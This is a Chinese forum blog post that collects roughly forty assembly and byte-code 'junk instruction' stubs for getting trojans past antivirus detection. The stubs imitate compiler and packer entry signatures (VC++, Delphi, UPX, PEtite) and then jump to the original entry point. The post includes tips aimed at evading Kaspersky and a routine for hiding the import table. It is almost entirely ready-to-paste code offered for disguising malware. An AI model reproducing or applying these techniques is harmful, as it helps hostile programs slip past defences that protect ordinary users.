鱼C论坛

 找回密码
 立即注册

憔悴心只为你

https://fishc.com.cn/?107996

木马免杀常用花指令

已有 1220 次阅读2012-4-15 10:49


1.伪装vc++5.0代码:
PUSH EBP  
MOV EBP,ESP  
PUSH -1  
push 111111   -\___
PUSH 111111   -/   在这段代码中类似这样的操作数可以乱填  
MOV EAX,DWORD PTR FS:[0]  
PUSH EAX  
MOV DWORD PTR FS:[0],ESP  
ADD ESP,-6C  
PUSH EBX  
PUSH ESI  
PUSH EDI  
nop
jmp 原入口地址
************************************************************************
2.胡乱跳转代码:
push ebp
mov ebp,esp
inc ecx
push edx
ADD ESP,-6C
nop
pop edx
dec ecx
pop ebp
ADD ESP,6C
inc ecx
loop somewhere   /跳转到上面那段代码地址去! 
somewhere:  
nop   /"胡乱"跳转的开始...
jmp 下一个jmp的地址   /在附近随意跳
jmp ...   /...
jmp 原入口地址   /跳到原始oep
************************************************************************
3.伪装c++代码:
push eax
mov ebp,esp
push -1
push 111111
push 111111
mov eax,fs:[0]
push eax
mov fs:[0],esp
pop eax
mov fs:[0],eax
pop eax
pop eax
pop eax
pop eax
mov ebp,eax
nop
nop
jmp 原入口地址
************************************************************************
4.伪装Microsoft Visual C++ 6.0代码:
PUSH -1
PUSH 0
PUSH 0
MOV EAX,DWORD PTR FS:[0]
PUSH EAX
MOV DWORD PTR FS:[0],ESP
SUB ESP,1
PUSH EBX
PUSH ESI
PUSH EDI
POP EAX
POP EAX
nop
POP EAX
nop
ADD ESP,1
POP EAX
MOV DWORD PTR FS:[0],EAX
POP EAX
POP EAX
nop
POP EAX
nop
POP EAX
MOV EBP,EAX
JMP 原入口地址
************************************************************************
5.伪装防杀精灵一号防杀代码:
push ebp
mov ebp,esp
push -1
push 666666
push 888888
mov eax,dword ptr fs:[0]
nop
mov dword ptr fs:[0],esp
nop
mov dword ptr fs:[0],eax
pop eax
pop eax
pop eax
pop eax
mov ebp,eax
jmp 原入口地址
************************************************************************
6.伪装防杀精灵二号防杀代码:
push ebp
mov ebp,esp
push -1
push 0
push 0
mov eax,dword ptr fs:[0]
push eax
mov dword ptr fs:[0],esp
sub esp,68
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp,68
pop eax
mov dword ptr fs:[0],eax
pop eax
pop eax
pop eax
pop eax
mov ebp,eax
jmp 原入口地址
************************************************************************
7.伪装木马彩衣(无限复活袍)代码:
PUSH EBP  
MOV EBP,ESP  
PUSH -1  
push 415448   -\___
PUSH 4021A8   -/   在这段代码中类似这样的操作数可以乱填  
MOV EAX,DWORD PTR FS:[0]  
PUSH EAX  
MOV DWORD PTR FS:[0],ESP  
ADD ESP,-6C  
PUSH EBX  
PUSH ESI  
PUSH EDI  
ADD BYTE PTR DS:[EAX],AL   /这条指令可以不要!
jo 原入口地址
jno 原入口地址
call 下一地址

************************************************************************
8.伪装木马彩衣(虾米披风)代码:
push ebp
nop
nop
mov ebp,esp
inc ecx
nop
push edx
nop
nop
pop edx
nop
pop ebp
inc ecx
loop somewhere /跳转到下面那段代码地址去!
someshere:
nop   /"胡乱"跳转的开始...
jmp 下一个jmp的地址   /在附近随意跳
jmp ...   /...
jmp 原入口的地址   /跳到原始oep
************************************************************************
9.伪装花花添加器(神话)代码:-----------根据C++改
nop
nop
nop
mov ebp,esp
push -1
push 111111
push 222222
mov eax,dword ptr fs:[0]
push eax
mov dword ptr fs:[0],esp
pop eax
mov dword ptr fs:[0],eax
pop eax
pop eax
pop eax
pop eax
mov ebp,eax
mov eax,原入口地址
push eax
retn
************************************************************************
10.伪装花花添加器(无极)代码:
nop
mov   ebp, esp
push   -1
push   0A2C2A
push   0D9038
mov   eax, fs:[0]
push   eax
mov   fs:[0], esp
pop   eax
mov   fs:[0], eax
pop   eax
pop   eax
pop   eax
pop   eax
mov   ebp, eax
mov   eax, 原入口地址
jmp   eax
************************************************************************
11.伪装花花添加器(金刚)代码:--------根据VC++5.0改
nop
nop
mov   ebp, esp
push   -1
push   415448
push   4021A8 
mov   eax, fs:[0]
push   eax
mov   fs:[0], esp
add   esp, -6C
push   ebx
push   esi
push   edi
add   [eax], al
mov   eax,原入口地址
jmp   eax
************************************************************************
12.伪装花花添加器(杀破浪)代码:
nop
mov   ebp, esp
push   -1
push   0
push   0
mov   eax, fs:[0]
push   eax
mov   fs:[0], esp
sub   esp, 68
push   ebx
push   esi
push   edi
pop   eax
pop   eax
pop   eax
add   esp, 68
pop   eax
mov   fs:[0], eax
pop   eax
pop   eax
pop   eax
pop   eax
mov   ebp, eax
mov   eax, 原入口地址
jmp   eax
************************************************************************
12.伪装花花添加器(痴情大圣)代码:
nop
..........省略N行nop
nop
push   ebp
mov   ebp, esp
add   esp, -0C
add   esp, 0C
mov   eax, 原入口地址
push   eax
retn
************************************************************************
13.伪装花花添加器(如果*爱)代码:
nop
........省略N行nop
nop
push   ebp
mov   ebp, esp
inc   ecx
push   edx
nop
pop   edx
dec   ecx
pop   ebp
inc   ecx
mov   eax, 原入口地址
jmp   eax
************************************************************************
14.伪装PEtite 2.2 -> Ian Luck代码:
mov eax,0040E000
push 004153F3
push dword ptr fs:[0]
mov dword ptr fs:[0],esp
pushfw
pushad
push eax
xor ebx,ebx
pop eax
popad
popfw
pop dword ptr fs:[0]
pop eax
jmp 原入口地址   '执行到程序的原有OEP
************************************************************************
15.无效PE文件代码:
push ebp  
mov ebp,esp
inc ecx
push edx
nop
pop edx
dec ecx
pop ebp
inc ecx
MOV DWORD PTR FS:[0],EAX   \
POP EAX   | 
POP EAX   \
MOV DWORD PTR FS:[0],EAX   |(注意了。。花指令)
POP EAX   / 
POP EAX   |
MOV DWORD PTR FS:[0],EAX   /
loop 原入口地址
************************************************************************
16.伪装防杀精灵终极防杀代码:
push ebp
mov ebp,esp
add esp,-0C
add esp,0C
push eax
jmp 原入口地址

************************************************************************
17.伪装木马彩衣(金色鱼锦衣)花代码
push ebp
mov ebp,esp
add esp,-0C
add esp,0C
mov eax,原入口地址
push eax
retn
************************************************************************
18.
在mov ebp,eax
后面加上
PUSH EAX 
POP EAX
************************************************************************
19.伪装UPX花指令代码:
pushad
mov esi,m.0044D000
lea edi,dword ptr ds:[esi+FFFB4000]
push edi
or ebp,FFFFFFFF
jmp short m.00477F2A
************************************************************************
20.
push ebp 
mov ebp,esp 
inc ecx 
push edx 
pop edx 
dec ecx 
pop ebp 
inc ecx 
jmp 原入口
21、
push ebp
nop
nop
mov ebp,esp
inc ecx
nop
push edx
nop
nop
pop edx
nop
pop ebp
inc ecx
loop A1地址
nop
nop
A1:push ebp
mov ebp,esp
jo 原入口
jno 原入口
************************************************************************
【深层】伪装 WCRT Library (Visual C++) DLL Method 1 -> Jibz 
黑吧代码 + 汇编代码:
使用黑吧粘贴以下代码:
55 8B EC 83 7D 0C 01 75 41 A1 C0 30 00 10 85 C0 74 0A FF D0 85 C0 75 04 6A FE EB 17 68 0C 30 

00 10 68 08 30 00 10 E8 89 00 00 00 85 C0 59 59 74 08 6A FD FF 15 08 20 00 10 68 04 30 00 10 

68 00 30 00 10 E8 52 00 00 00 59 59
粘贴完毕后,再添加2行汇编语句:
jmp 原入口地址   '执行到程序的原有OEP
retn 0C
************************************************************************

发布几个不常见的花指令
B1 01   mov cl,1
2C 90   sub al,90
95   xchg eax,ebp
4D   dec ebp
65:42   inc edx
40   inc eax
20C4   and ah,al
8350 06 6E   adc dword ptr ds:[eax+6],6E
226A E4   and ch,byte ptr ds:[edx-1C]
E8 B15FBC5B   call 入口点

55   push ebp
8BEC   mov ebp,esp
51   push ecx
53   push ebx
8BD8   mov ebx,eax
8BC3   mov eax,ebx
04 9F   add al,9F
2C 1A   sub al,1A
73 03   jnb 入口点
JMP SHORT test.00414FB5 (EB 01)
NOP
JMP SHORT test.00414FB8 (EB 01)
NOP
JMP SHORT test.00414FBB (EB 01)
NOP
JMP test. (EB 01)
90=c4
PUSH EBP
MOVE EBP,ESP
inc ecx
push eax
pop eax
push edx
pop edx
dec ecx
sub eax,-2
ADD ESP,68
DEC eax
DEC eax
SUB ESP,68
JPE 入口
JPO 入口
2008-6-13 11:30 dazy
花指令合集(0608)
【深层】伪装 PEtite 2.2 -> Ian Luck 汇编代码:
============================
伪装代码部分:
============================
mov eax,0040E000
push 004153F3
push dword ptr fs:[0]
mov dword ptr fs:[0],esp
pushfw
pushad
push eax
xor ebx,ebx
pop eax
popad
popfw
pop dword ptr fs:[0]
pop eax
jmp XXXXXXXX     '执行到程序的原有OEP
============================
【深层】伪装 WCRT Library (Visual C++) DLL Method 1 -> Jibz 二进制代码 + 汇编代码:
============================
伪装代码部分:
============================
使用二进制粘贴以下代码:
55 8B EC 83 7D 0C 01 75 41 A1 C0 30 00 10 85 C0 74 0A FF D0 85 C0 75 04 6A FE EB 17 68 0C 30 

00 10 68 08 30 00 10 E8 89 00 00 00 85 C0 59 59 74 08 6A FD FF 15 08 20 00 10 68 04 30 00 10 

68 00 30 00 10 E8 52 00 00 00 59 59
粘贴完毕后,再添加2行汇编语句:
jmp XXXXXXXX     '执行到程序的原有OEP 
retn 0C
1。伪装 vc
VC++程序的入口代码:
PUSH EBP               
MOV EBP,ESP             
PUSH -1               
push 415448         -\___
PUSH 4021A8         -/   在这段代码中类似这样的操作数可以乱填     
MOV EAX,DWORD PTR FS:[0]       
PUSH EAX               
MOV DWORD PTR FS:[0],ESP       
ADD ESP,-6C             
PUSH EBX               
PUSH ESI               
PUSH EDI   
ADD BYTE PTR DS:[EAX],AL   /这条指令可以不要!
jmp 跳转到程序原来的入口点
******************************************************************************************
2。跳转
somewhere:         
   nop         /"胡乱"跳转的开始...
   jmp 下一个jmp的地址   /在附近随意跳
   jmp ...       /...
   jmp 原入口的地址   /跳到原始oep
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
新入口: push ebp
   mov ebp,esp
   inc ecx
   push edx
   nop
   pop edx
   dec ecx
   pop ebp
   inc ecx
   loop somewhere   /跳转到上面那段代码地址去!

3. 伪装 C
融合
把A的代码换成B的
push ebp
mov ebp,esp
push -1
push 111111
push 222222
mov eax,fs:[0]
push eax
mov fs:[0],esp
pop eax
mov fs:[0],eax
pop eax
pop eax
pop eax
pop eax
mov ebp,eax
jmp 老入口
4. c ++
push ebp
mov ebp,esp
push -1
push 111111
push 222222
mov eax,fs:[0]
push eax
mov fs:[0],esp
pop eax
mov fs:[0],eax
pop eax
pop eax
pop eax
pop eax
mov ebp,eax

5.Microsoft Visual C++ 6.0
PUSH -1
PUSH 0
PUSH 0
MOV EAX,DWORD PTR FS:[0]
PUSH EAX
MOV DWORD PTR FS:[0],ESP
SUB ESP,68
PUSH EBX
PUSH ESI
PUSH EDI
POP EAX
POP EAX
POP EAX
ADD ESP,68
POP EAX
MOV DWORD PTR FS:[0],EAX
POP EAX
POP EAX
POP EAX
POP EAX
MOV EBP,EAX
JMP 原入口
6.
在mov ebp,eax
后面加上
PUSH EAX 
POP EAX
7:
防杀精灵一号防杀代码:
push ebp
mov ebp,esp
push -1
push 666666
push 888888
mov eax,dword ptr fs:[0]
push eax
mov dword ptr fs:[0],esp
pop eax
mov dword ptr fs:[0],eax
pop eax
pop eax
pop eax
pop eax
mov ebp,eax
jmp 入口
8:
防杀精灵二号防杀代码:
push ebp
mov ebp,esp
push -1
push 0
push 0
mov eax,dword ptr fs:[0]
push eax
mov dword ptr fs:[0],esp
sub esp,68
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp,68
pop eax
mov dword ptr fs:[0],eax
pop eax
pop eax
pop eax
pop eax
mov ebp,eax
jmp 入口
9.
防杀精灵终极防杀代码
push ebp
mov ebp,esp
add esp,-0C
add esp,0C
push eax
jmp入口
10:
木马彩衣(金色鱼锦衣)花代码
push ebp
mov ebp,esp
add esp,-0C
add esp,0C
mov eax,原入口
push eax
retn
11:
木马彩衣(虾米披风)花代码
push ebp
nop
nop
mov ebp,esp
inc ecx
nop
push edx
nop
nop
pop edx
nop
pop ebp
inc ecx
loopd /跳转到下面那段代码地址去!
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
nop         /"胡乱"跳转的开始...
jmp 下一个jmp的地址   /在附近随意跳
jmp ...       /...
jmp 原入口的地址   /跳到原始oep
12.
VC++5.0代码(木马彩衣无限复活袍):
PUSH EBP                     
MOV EBP,ESP                   
PUSH -1                       
push 415448             -\___
PUSH 4021A8             -/   在这段代码中类似这样的操作数可以乱填       
MOV EAX,DWORD PTR FS:[0]           
PUSH EAX                     
MOV DWORD PTR FS:[0],ESP           
ADD ESP,-6C                   
PUSH EBX                     
PUSH ESI                     
PUSH EDI   
ADD BYTE PTR DS:[EAX],AL   /这条指令可以不要!
jo 00401000           /原入口
jno 00401000           /原入口
db 0e8h             /花代码

xxxxxx:       nop         \
/|\           POP EAX     |看了,其实这两部分就是花指令
   |         POP EAX     | 
   |         POP EAX     / 
   |         JMP yyyyyy (跳回旧入口点:00100016DB )
   |
   |
   |           push ebp       <-新入口点:           
   |           mov ebp,esp
   |           inc ecx
   |           push edx
   |           nop
   |           pop edx
   |           dec ecx
   |           pop ebp
   |         inc ecx
   |         MOV DWORD PTR FS:[0],EAX   \
   |           POP EAX               | 
   |           POP EAX               \
   |           MOV DWORD PTR FS:[0],EAX   |(注意了。。花指令)
   |           POP EAX               / 
   |           POP EAX               |
   |           MOV DWORD PTR FS:[0],EAX   /
   |           loop xxxxxx (这里我向上跳~地址也是自己选的~~)   
   |_________________++++++(转到地址:100036c3 往回跳)

--------------------------------------------------------------
代码如下: 神话
nop
nop
nop
mov ebp,esp
push -1
push 111111
push 222222
mov eax,dword ptr fs:[0]
push eax
mov dword ptr fs:[0],esp
pop eax
mov dword ptr fs:[0],eax
pop eax
pop eax
pop eax
pop eax
mov ebp,eax
mov eax,原入口
push eax
retn

代码如下: 无极
nop
mov   ebp, esp
push   -1
push   0A2C2A
push   0D9038
mov   eax, fs:[0]
push   eax
mov   fs:[0], esp
pop   eax
mov   fs:[0], eax
pop   eax
pop   eax
pop   eax
pop   eax
mov   ebp, eax
mov   eax, 原入口
jmp   eax
代码如下: 金刚
nop
nop
mov   ebp, esp
push   -1
push   415448
push   4021A8 
mov   eax, fs:[0]
push   eax
mov   fs:[0], esp
add   esp, -6C
push   ebx
push   esi
push   edi
add   [eax], al
mov   eax,原入口
jmp   eax
代码如下: 杀破浪
nop
mov   ebp, esp
push   -1
push   0
push   0
mov   eax, fs:[0]
push   eax
mov   fs:[0], esp
sub   esp, 68
push   ebx
push   esi
push   edi
pop   eax
pop   eax
pop   eax
add   esp, 68
pop   eax
mov   fs:[0], eax
pop   eax
pop   eax
pop   eax
pop   eax
mov   ebp, eax
mov   eax, 原入口
jmp   eax
代码如下: 痴情大圣
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push   ebp
mov   ebp, esp
add   esp, -0C
add   esp, 0C
mov   eax, 原入口
push   eax
retn
代码如下: 如果*爱
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push   ebp
mov   ebp, esp
inc   ecx
push   edx
nop
pop   edx
dec   ecx
pop   ebp
inc   ecx
mov   eax, 原入口
jmp   eax
--------------------------------------------------------
灰鸽子万能文件捆绑器 VIP2005 -> 葛军 *
push ebp
mov ebp,esp
add esp,-124
push ebx
push esi
push edi
xor eax,eax
mov dword ptr ss:[ebp-124],eax
jmp 入口
----------------------------------------------------------
PUSH EBP                     
MOV EBP,ESP                   
MOV EAX,0                     
PUSH EAX                     
CALL 下个指令 ↓                 
POP EAX                     
SUB EAX,0                     
MOV ECX,0                     
MOV EDX,0                     
MOV ESI,0                     
MOV EDI,0                     
MOV EBP,0                     
ADD EBP,EAX                   
POP EAX                       
POP EAX                       
POP EAX                       
POP EAX                       
POP EBP                       
PUSH 入口点                     
RETN
----------------------------------------------------------------
//Borland Delphi 6.0 - 7.0
PUSH EBP                     
MOV EBP,ESP                   
MOV ECX,6                     
PUSH 0   下面那个跳到这里                     
PUSH 0                       
DEC ECX                       
JNZ 往回跳             
PUSH EBX                     
PUSH ESI                     
PUSH EDI
POP EDI
POP ESI
POP EBX
JMP 入口点
-----------------------------------------------------------------
push ebp
mov ebp,esp
inc edx
nop
pop edx
dec ecx
pop ebp
inc ecx
jmp 入口点
-----------------------------------------------------------------
push ebp
mov ebp,esp
push ebx
mov ebx,dword ptr ss:[ebp+8]
push esi
mov esi,dword ptr ss:[ebp+C]
push edi
mov edi,dword ptr ss:[ebp+10]
test esi,esi
jmp 入口
-----------------------------------------------------------------
0046D4BA             pop eax
0046D4BB             sub eax,7D
0046D4C0             push eax
0046D4C1   C3         retn
0046D4C2             call 0046D4BA

-------------------------------------------------------------------
伪装VC7。0花
最近抓的伪装VC7。0的花,很短
//---------------------------------
push 70
push 123456(数字随便)
call A(A为地址)
xor ebx,ebx
A地址:retn
2008-6-13 11:30 dazy
1.POP 0 
   POP 0
2.PUSH ebp
   pop ebp
3.nop   ----一般插在中间
4.jmp 一下jmp的地址
   jmp ...
5.add esp,1 ----数字可以改变
   sub esp,1
6. add esp,1
   add esp,-1
7.sub esp,1
   sub esp,-1
8.push esi
   push edi
9.inc ecx
   dec ecx
10 sub eax,-2
   dec eax
   dec eax
11.(该免杀花指令经典,压缩可运行,免卡巴)
push ebp
mov ebp,esp
pop esp
jmp 原入口点地址-

jmp XXXXXX等价于:
PUSH XXXXXX
RETN

12. 免杀卡巴的花指令:
push ebx
push ebx
push ebx
pop ebx
pop ebx
pop ebx
jmp 跳到下一个地址
add esp,1
add esp,-1
push 入口点地址
retn

*************
12.(同上)
push ebp
push esp
pop   ebp
pop esp
jmp 原入口点地址
13.最新的一段万能免杀花指令:
push ebp
push esp
pop   ebp
add esp,-0C
add esp,0C
push eax
jmp入口

14.免杀花指令
push ebp
mov ebp,esp
add esp,-0C
add esp,0C
push eax
mov eax,入口地址
jmp eax
nop
15.
jmp 改成:Jg(大于转移),JL(小于转移)
   或改成:jb(小于转移),jnb(大于或等于转移)
16.写过卡巴花指令的跳不要直接用jmp来跳,不然,要被直接杀
jmp ---直接被杀
改成
jb
jnb
或改成:
push 入口地址
retn
或改成:
mov eax,入口地址
jmp eax

17.一段免杀卡巴的花指令:
push ebx
push ebx
pop ebx
pop ebx
add esp,1
add esp,-1
push   入口地址
retn
18、华隐输入表隐藏指令:
PUSHAD
MOV EBX,4C4039    //此处修改为原输入表入口地址
ADD EBX,0C
MOV EBP,400000
PUSH EBP
ADD EBP,DWORD PTR DS:[EBX]
PUSH EBP
CALL DWORD PTR DS:[4C402D]   //LoadLibraryA的RVA
MOV EDI,EAX
POP EBP
MOV ECX,DWORD PTR DS:[EBX+4]
CMP DWORD PTR DS:[ECX+EBP],0
JE SHORT ntdll.77700591
MOV ESI,DWORD PTR DS:[ECX+EBP]
ADD ESI,EBP
ADD ESI,2
PUSHAD
PUSH ECX
PUSH EBP
PUSH ESI
PUSH EDI
CALL DWORD PTR DS:[4C4031]
POP EBP
POP ECX
MOV DWORD PTR DS:[ECX+EBP],EAX
POPAD
ADD ECX,4
JMP SHORT ntdll.7770056D     //GetProcAddress的RVA
ADD EBX,14
CMP DWORD PTR DS:[EBX],0
JNZ SHORT ntdll.77700558
POPAD
CALL ntdll.77697B74    //程序入口点地址


路过

鸡蛋

鲜花

握手

雷人

评论 (0 个评论)

facelist

您需要登录后才可以评论 登录 | 立即注册

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2024-4-30 20:43

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

返回顶部